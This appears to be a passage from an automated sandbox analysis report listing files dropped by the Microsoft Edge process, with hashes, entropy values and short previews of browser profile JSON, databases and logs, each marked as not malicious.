Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376823401869777","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d07dd127-d90f-4121-b65f-0c0caae9abff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561246129499133
Encrypted:	false
SSDEEP:	768:TLnw9SWGo7pLGLPi0W5wXTf4Ki8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPwz4fIYF9:TDwSRUcPi0WaXTfBiu1ja5z4R3LkNoSM
MD5:	FB9B347968A4EEA811F0328E60B8414C
SHA1:	1BCC05EA4517DB5DCD4194EC5DB6D8779DB844D0
SHA-256:	51834FE793D18B3480C151156BC5962EDBF6129CF1921DBBA2C6021F635D9A88
SHA-512:	88AD1C98FE4A85B874BA6830FA5F96E210CDE91DD343FB22C09BDB0E6CE73281479CB357734E91B4B5D56B5E91292A952567AE3CDCB9CD448A260B65A3EBC1A7
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376823401354471","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376823401354471","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e1c3a9de-fb08-4b06-a93a-1f2a310cf2ab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567588127636253
Encrypted:	false
SSDEEP:	768:TLCwvSW00W5wXTf4bi8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP/fIYF+OrwX17p4tW:TuaSJ0WaXTf2iu1jayRULFetW
MD5:	76185FFCD400B2C89C3B50A26FCF5D9B
SHA1:	CED365BA32F70A8E7A739B288E7755F5EE24F895
SHA-256:	69CFA9308B333140BE32221B3F7464E836ADC66BC89D6DD65134B908F1C1E477
SHA-512:	16C5CDBF49AF6486F094BEDFA103A6A80EE235F89A8A319C8C08B895AF2AF04B6D1CD9EE41D7718D11303F0CBFA23EA50B08673B71C41007EF0EBDCC550AD212
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376823401354471","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376823401354471","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e4204f22-7ba2-41f9-8460-e67cfcfcce8f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17469), with no line terminators
Category:	dropped
Size (bytes):	17469
Entropy (8bit):	5.4789538341352
Encrypted:	false
SSDEEP:	384:stEPGQSu4XsVhCD5zz54AuVIoSCbGu/QwNv3hP:sCOXuNhCN1QbGr2hP
MD5:	3FD6169F63E44282122B143897BB6B2F
SHA1:	6CDBBB1DEE5B3387C0D24CADD638B67C944EACA1
SHA-256:	DF853120F5901E018B8F3008A81E039B3429BDC412D390E774376498923D45EF
SHA-512:	B4C7ED7BB4B559AFF6244D8F2C1079E3154C50580AD986D8E638DCAF819B1DF50CD26EC6CD595B0586FA4F12C7CB38067681E76B18539125B912505121FE985A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376823401869777","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10277755027909595
Encrypted:	false
SSDEEP:	12:+rejkrejVspEjVl/PnnnnnnnnnnnvoQ/Eou:+rRr7oPnnnnnnnnnnnv1j
MD5:	138B489364AEF05543309B452B3D4FD7
SHA1:	FB01AF9881E9F7C501BEEE2B7382069A6B98A425
SHA-256:	EF568E2DF228BDEB4295A35006A542B8ADBEA9CD4B12331B9495D6A4E90A039B
SHA-512:	192B44A080353F324735D83682309D2C9A31CA6CEAB11D3E363A8A577642009D982E4BB9AEB8F8B04E3F7E8ADE2B3DBF8B494BC32FAF9C96FF65E8B3C7A05FB5
Malicious:	false
Preview:	..-.............M.......!.^._?m.$J...V..b...k..7..-.............M.......!.^._?m.$J...V..b...k..7........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8894100115236678
Encrypted:	false
SSDEEP:	384:ffdtH4jfgL63nMu9KCPKO0+KF0G1HK8gv89ryuyXOya4yu0yDxyFW:MHUtpIB
MD5:	887AA462ABF568CB9399D21F24E20C5B
SHA1:	4E929E94E133A6BA019FE58E945A4F319E28E879
SHA-256:	CC8706934B20C4A7F2E9F05F332B60B095EE09997BE14CCF6300A3C02F0C744A
SHA-512:	5BDB020A1A0A393D2078D743691D6443581A2FD36D9496C2F48EB89D9DB1994E1DC2065B0DC55D0ADBC222AA78462833550EEFC6D49172E16D794585A03BF0DB
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.2367867352626987
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuutO8U:pHaym
MD5:	F0974394E58A59B90102841780C57F07
SHA1:	A36D2E40F6AF1F3EFB4FDD50447C5448588E637A
SHA-256:	78C43808F60F07FE6ACC2FF8AD996FE69EFC702515E607A3CC69079B0A336939
SHA-512:	674EE488F3F787E94AA6B6A16C47DFF356FBC337CD5C1E88D0E9760ED08F3B3E97CF786E68EEA25AE0E04559088AF811FBF75954653A718663D51006F372BA14
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............\|..0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.229496251578382
Encrypted:	false
SSDEEP:	6:HGLCYN+q2PN723oH+TcwtfrK+IFUt8YGLCBrXZmw+YGLCBr3VkwON723oH+Tcwt5:UjIvVaYeb23FUt8ZIX/+ZIF5OaYeb3J
MD5:	148A50E3E7731C9BBFBFC23AAC77CE74
SHA1:	27A2F250793E2BEE6C71E608C5C84EB3BDD104FF
SHA-256:	5F074D8B2AD02BE5D1111131A5FC9912F3858495F5B5403DEB03C14E0A7BE2D8
SHA-512:	8273D1932FBEDAEE56AA46B2B87B478D44E3C1A35D46F322998971DD1E4D5C6DBBF040D2D8024FCE3E775196B950C9DB4761CF73EB76B9DE29296F833A0229BB
Malicious:	false
Preview:	2024/11/23-03:16:41.916 17d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/23-03:16:41.920 17d8 Recovering log #3.2024/11/23-03:16:41.920 17d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.229496251578382
Encrypted:	false
SSDEEP:	6:HGLCYN+q2PN723oH+TcwtfrK+IFUt8YGLCBrXZmw+YGLCBr3VkwON723oH+Tcwt5:UjIvVaYeb23FUt8ZIX/+ZIF5OaYeb3J
MD5:	148A50E3E7731C9BBFBFC23AAC77CE74
SHA1:	27A2F250793E2BEE6C71E608C5C84EB3BDD104FF
SHA-256:	5F074D8B2AD02BE5D1111131A5FC9912F3858495F5B5403DEB03C14E0A7BE2D8
SHA-512:	8273D1932FBEDAEE56AA46B2B87B478D44E3C1A35D46F322998971DD1E4D5C6DBBF040D2D8024FCE3E775196B950C9DB4761CF73EB76B9DE29296F833A0229BB
Malicious:	false
Preview:	2024/11/23-03:16:41.916 17d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/23-03:16:41.920 17d8 Recovering log #3.2024/11/23-03:16:41.920 17d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.215530328788148
Encrypted:	false
SSDEEP:	6:HGLC4uqN+q2PN723oH+TcwtfrzAdIFUt8YGLC4uqZZmw+YGLCCVkwON723oH+Tc/:U+7vVaYeb9FUt8Z+e/+ZZ5OaYeb2J
MD5:	B8D0BDC5C6FBBAD1CE11281C2D3476DF
SHA1:	20899232DD3818F595EE4AB611B22E869678BA14
SHA-256:	1C75121A2E92948E06DAD6435D57121FE2BED9DB1FFACC760F74220ECE2BC1C6
SHA-512:	475D1704ADCEA94E9D850F81D9F0E1FEB4550E1D2D816227D52DF993C42B40BC5EC8755A1B92F2957D2A207C6499B0B9F91E4A11EE71B1F1B68CA8129D6338B3
Malicious:	false
Preview:	2024/11/23-03:16:41.909 17d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/23-03:16:41.909 17d8 Recovering log #3.2024/11/23-03:16:41.910 17d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.215530328788148
Encrypted:	false
SSDEEP:	6:HGLC4uqN+q2PN723oH+TcwtfrzAdIFUt8YGLC4uqZZmw+YGLCCVkwON723oH+Tc/:U+7vVaYeb9FUt8Z+e/+ZZ5OaYeb2J
MD5:	B8D0BDC5C6FBBAD1CE11281C2D3476DF
SHA1:	20899232DD3818F595EE4AB611B22E869678BA14
SHA-256:	1C75121A2E92948E06DAD6435D57121FE2BED9DB1FFACC760F74220ECE2BC1C6
SHA-512:	475D1704ADCEA94E9D850F81D9F0E1FEB4550E1D2D816227D52DF993C42B40BC5EC8755A1B92F2957D2A207C6499B0B9F91E4A11EE71B1F1B68CA8129D6338B3
Malicious:	false
Preview:	2024/11/23-03:16:41.909 17d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/23-03:16:41.909 17d8 Recovering log #3.2024/11/23-03:16:41.910 17d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089796046352358
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJdi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/mkzItSmd6qE7lFoC
MD5:	B91FD19AA4973D956666747A4C80EA90
SHA1:	67D2923E562EF1E45435AC436790EBB00382E2E2
SHA-256:	30E7BCFBE26659738D6F7C485A2172C528F88F07E00774769DE0B592860C12C1
SHA-512:	E5FEA4B3856DAA2FB9A3C5808C8C88CA007D4A51CDDF81EE988F12B9FF37427CE6FD05E8DA9616734F1F5F22E0F45A9D3C690900B6E6DE4BB8A20A94614A1A26
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b334.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089796046352358
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJdi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/mkzItSmd6qE7lFoC
MD5:	B91FD19AA4973D956666747A4C80EA90
SHA1:	67D2923E562EF1E45435AC436790EBB00382E2E2
SHA-256:	30E7BCFBE26659738D6F7C485A2172C528F88F07E00774769DE0B592860C12C1
SHA-512:	E5FEA4B3856DAA2FB9A3C5808C8C88CA007D4A51CDDF81EE988F12B9FF37427CE6FD05E8DA9616734F1F5F22E0F45A9D3C690900B6E6DE4BB8A20A94614A1A26
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b4da.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089796046352358
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJdi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/mkzItSmd6qE7lFoC
MD5:	B91FD19AA4973D956666747A4C80EA90
SHA1:	67D2923E562EF1E45435AC436790EBB00382E2E2
SHA-256:	30E7BCFBE26659738D6F7C485A2172C528F88F07E00774769DE0B592860C12C1
SHA-512:	E5FEA4B3856DAA2FB9A3C5808C8C88CA007D4A51CDDF81EE988F12B9FF37427CE6FD05E8DA9616734F1F5F22E0F45A9D3C690900B6E6DE4BB8A20A94614A1A26
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3dbbb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089796046352358
Encrypted:	false
